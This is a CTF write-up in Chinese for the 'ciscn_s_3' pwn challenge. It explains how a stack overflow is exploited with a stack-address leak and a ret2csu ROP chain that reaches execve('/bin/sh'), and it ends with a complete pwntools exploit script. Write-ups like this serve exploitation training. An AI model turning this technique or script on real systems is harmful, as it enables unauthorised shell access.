前言
这里就不解说pwn题的基本分析流程了
- file
- checksec
- ida
本题用到了ret2csu
参考ctf wiki 中级 ROP
我做的时候还不知道有这个叫法 >_<,也只调用了里面的loc_400580:
正文
分析
首先我们可以发现栈溢出,我们可输入0x400大小的数据
其中
mov rbp, rsp #
rbp=rsp ,没有sub 等指令调整rsp,rbp,也没有ret -->rbp即返回地址
syscall调用read函数或者write函数 是通过rax控制的
rax=0时 read
rax=1时 write
函数区有一个特别的函数gadgets:
我们知道,
execve的系统调用号位59(0x3b)
那么这里就是利用点
我们尝试去构造execve(“/bin/sh”,0,0) 去拿到shell
emm,64位程序,那么对应参数就是:
rax=59,rsi=“/bin/sh”,rdi=0,rdx=0,ret=syscall
我们就需要控制如上寄存器!!
寻找/bin/sh
程序里面不存在“/bin/sh”
那么我们就需要通过read函数写入/bin/sh
调试:
- buf大小为0x10 写入“aaaa”
由vuln函数中的lea rsi, [rsp+buf]可知,rsi记录buf的地址
write输出为0x30大小的数据
虽然开启了保护,每次栈的内存都不同,但是栈内的偏移是相同
我们需要找一个栈上存在固定偏移的的地址,且可被输出
- 查看栈内容
此处
0x7fffffffde80: 0x00007f0a61616161 0x0000000000000000 # 前8字节为aaaa,
0x7fffffffde90: 0x00007fffffffdeb0 0x0000000000400536 # 前8字节为rbp,rsp,后面400536为nop指令
0x7fffffffdea0: 0x00007fffffffdf98 0x0000000100000000 # 前8字节为栈上地址
0x7fffffffdea0是输出的第0x28位
- 计算与栈的距离:0x118
可利用gadget:
编写exp及分析
第一次进入vuln:
#覆盖buf 使rbp也就是返回地址为vuln
payload=b"/bin/sh\x00"*2+p64(vuln)
io.sendline(payload)
# 先接收0x20个大小数据
io.recv(0x20)
# 再接收我们需要的栈上地址
stack_add=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(stack_add))
bin_sh=stack_add-0x118
第二次进入vuln:
-
先覆盖buf前8字节,后面8字节我们可以随意覆盖,也可以覆盖我们想写入的地址,这个地址是可利用的!再返回rbp_r12_r13_r14_r15_ret
-
给rbp,r12,r13,r14,r15寄存器传入对应参数:
payload=b"/bin/sh\x00"+p64(rdi_ret)+p64(rbp_r12_r13_r14_r15_ret)
payload+=p64(0x1)+p64(bin_sh+0x8)+p64(0)+p64(0)+p64(bin_sh)#r12=bin_sh+0x50 also success
payload+=p64(mov_rdx_r13)+p64(mov_rax)+p64(rdi_ret)+p64(bin_sh)+p64(sys_call)
io.sendline(payload)
loc_400580中:
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
1.通过调试,rbx在此处为0,那么我们需要使rbp=0x1,从而结束循环,再使 r13=0,r14=0,r15=bin_sh
2.但是edi为rdi的低32位,r15d为r15的低32位,所以无法传入完整的bin_sh地址,这里可以随便写,后面再调用rdi_ret使rdi=bin_sh
3.执行到call时,调用的是r12对应地址里的指令(rbx=0),所以r12应设置为我们想调用的指令地址
4.调用loc_400580后,设置rax为59,rsi=/bin/sh,再调用syscall,从而实现execve(“/bin/sh”,0,0)
注意:
- b"/bin/sh\x00"+p64(rdi_ret),后8位我设置的rdi_ret的地址
- p64(bin_sh+0x8),这是传入r12的参数
这里为什么这样写呢?
因为[bin_sh+0x8]=0x00000000004005a3=rdi_ret
bin_sh+0x8地址处保存的是rdi_ret的地址,那么大家就懂了吧~
其实bin_sh+0x50地址处保存的也是rdi_ret的地址,只不过我是通过手动控制栈内容并调用它,而后者是程序执行时载入了这个地址,也是可调用的
调试:
- 第一次进入vuln,并发送payload1时
- 我们发现此时bin_sh+0x50并未载入rdi_ret的地址
- 第二次进入vuln时,我们发现buf后的内容都变了,栈发生了变化,bin_sh+0x50载入了rdi_ret的地址,那么我们就可以通过此地址调用rdi_ret啦!
完整exp:
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
io=process('./ciscn_s_3')
#io=remote('node4.buuoj.cn',28518)
elf=ELF('./ciscn_s_3')
vuln=elf.sym['vuln']
mov_rax=0x00000000004004E2 #rax=59
mov_rdx_r13=0x0000000000400580 # loc_400580
rbp_r12_r13_r14_r15_ret=0x000000000040059b #libc_csu
sys_call=0x0000000000400517
rdi_ret=0x00000000004005a3
payload=b"/bin/sh\x00"*2+p64(vuln)
io.sendline(payload)
io.recv(0x20)
stack_add=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack_add))
bin_sh=stack_add-0x118
#pause()
#gdb.attach(io,"b *0x400519")
payload=b"/bin/sh\x00"+p64(rdi_ret)+p64(rbp_r12_r13_r14_r15_ret)
payload+=p64(0x1)+p64(bin_sh+0x8)+p64(0x0)+p64(0)+p64(bin_sh)#r12=bin_sh+0x50 also success
payload+=p64(mov_rdx_r13)+p64(mov_rax)+p64(rdi_ret)+p64(bin_sh)+p64(sys_call)
io.sendline(payload)
io.interactive()